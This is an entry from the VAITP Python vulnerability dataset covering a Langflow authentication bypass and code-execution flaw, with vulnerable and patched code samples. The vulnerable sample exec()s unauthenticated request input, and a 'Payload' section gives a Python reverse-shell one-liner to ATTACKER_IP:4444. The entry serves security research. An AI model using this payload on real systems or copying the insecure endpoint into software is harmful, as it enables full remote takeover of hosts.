VAITP Dataset

← Back to the dataset

CVE-2026-10561

Langflow auth bypass allows unauthenticated RCE via poor isolation.

  • CVSS 10.0
  • CWE-94
  • Design Defects
  • Remote

IBM Langflow OSS 1.0.0 through 1.9.3 has an vulnerability due to an improper isolation of Python execution combined with an authentication bypass that allows an unauthenticated attacker to execute arbitrary code on the host system, resulting in complete compromise

CVSS base score
10.0
Published
2026-06-22
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
IBM Langflow
Fixed by upgrading
Yes

Solution

Upgrade to IBM Langflow OSS version 1.9.4 or later.

Vulnerable code sample

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/v1/process', methods=['POST'])
def process_code():
    """
    This endpoint is missing authentication and directly executes
    code from the request body, representing the vulnerability.
    """
    try:
        payload = request.get_json(force=True)
        python_code = payload.get('code')

        if python_code:
            # VULNERABILITY: User-provided code is executed without any sandboxing or isolation.
            exec(python_code)
            return jsonify({"status": "executed"}), 200
        else:
            return jsonify({"error": "No code provided"}), 400

    except Exception as e:
        return jsonify({"error": str(e)}), 500

if __name__ == '__main__':
    # Simulates the service being exposed to the network
    app.run(host='0.0.0.0', port=8000)

Patched code sample

from fastapi import FastAPI, Request, HTTPException, Security, Depends
from fastapi.security.api_key import APIKeyHeader
import subprocess
import tempfile
import os

app = FastAPI()

# In a real application, this secret should be managed via environment variables or a secrets manager.
VALID_API_KEY = os.environ.get("LANGFLOW_API_KEY", "SECURE_DEFAULT_KEY_CHANGE_ME")

api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)

# FIX 1: Implement a mandatory authentication dependency.
# This function enforces that a valid API key must be present in the request headers,
# fixing the authentication bypass vulnerability.
async def require_authentication(api_key: str = Security(api_key_header)):
    if api_key is None or api_key != VALID_API_KEY:
        raise HTTPException(
            status_code=401, detail="Unauthorized: Invalid or missing API Key"
        )
    return True

# FIX 2: Replace direct, un-sandboxed code execution (like exec()) with an isolated,
# controlled execution environment.
def run_code_in_isolated_sandbox(code: str) -> dict:
    """
    Executes Python code inside a secure, isolated environment.

    This is a conceptual fix. A robust implementation would use dedicated sandboxing
    technologies like Docker, gVisor, or Firecracker to create an ephemeral,
    unprivileged container for each execution. This simplified example uses
    `subprocess` with security flags and resource limits as a demonstration.
    """
    # Use a temporary file to avoid command-line injection vulnerabilities.
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as tmp_file:
        tmp_file.write(code)
        script_path = tmp_file.name

    try:
        # Execute the Python script in a new, isolated process with strict limits.
        # -I flag isolates Python from the user's environment.
        # prlimit sets resource limits (e.g., max 1 process, 5-second CPU time).
        # This prevents fork bombs and long-running processes.
        # Network access should be disabled at a lower level (e.g., namespaces, firewall).
        result = subprocess.run(
            [
                "prlimit", "--nproc=1", "--cpu=5",
                "python3", "-I", script_path
            ],
            capture_output=True,
            text=True,
            timeout=10,  # A hard timeout for the subprocess call itself.
            check=False,
        )
        return {
            "stdout": result.stdout,
            "stderr": result.stderr,
            "returncode": result.returncode,
        }
    except subprocess.TimeoutExpired:
        return {
            "stdout": "",
            "stderr": "Execution timed out.",
            "returncode": -1,
        }
    finally:
        # Ensure the temporary script is always removed.
        os.remove(script_path)


# The fixed API endpoint now applies the authentication dependency and uses the sandbox.
@app.post("/api/v1/run_code", dependencies=[Depends(require_authentication)])
async def run_code_securely_endpoint(request: Request):
    """
    An endpoint that securely executes user-provided Python code.
    """
    try:
        data = await request.json()
        code_to_run = data.get("code")
    except Exception:
        raise HTTPException(status_code=400, detail="Invalid JSON body.")

    if not isinstance(code_to_run, str) or not code_to_run.strip():
        raise HTTPException(status_code=400, detail="`code` field must be a non-empty string.")

    # Execute the code using the sandboxed function instead of a direct 'exec()'.
    execution_result = run_code_in_isolated_sandbox(code_to_run)

    return {
        "message": "Execution finished.",
        "result": execution_result
    }

Payload

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Cite this entry

@misc{vaitp:cve202610561,
  title        = {{Langflow auth bypass allows unauthenticated RCE via poor isolation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-10561},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-10561/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::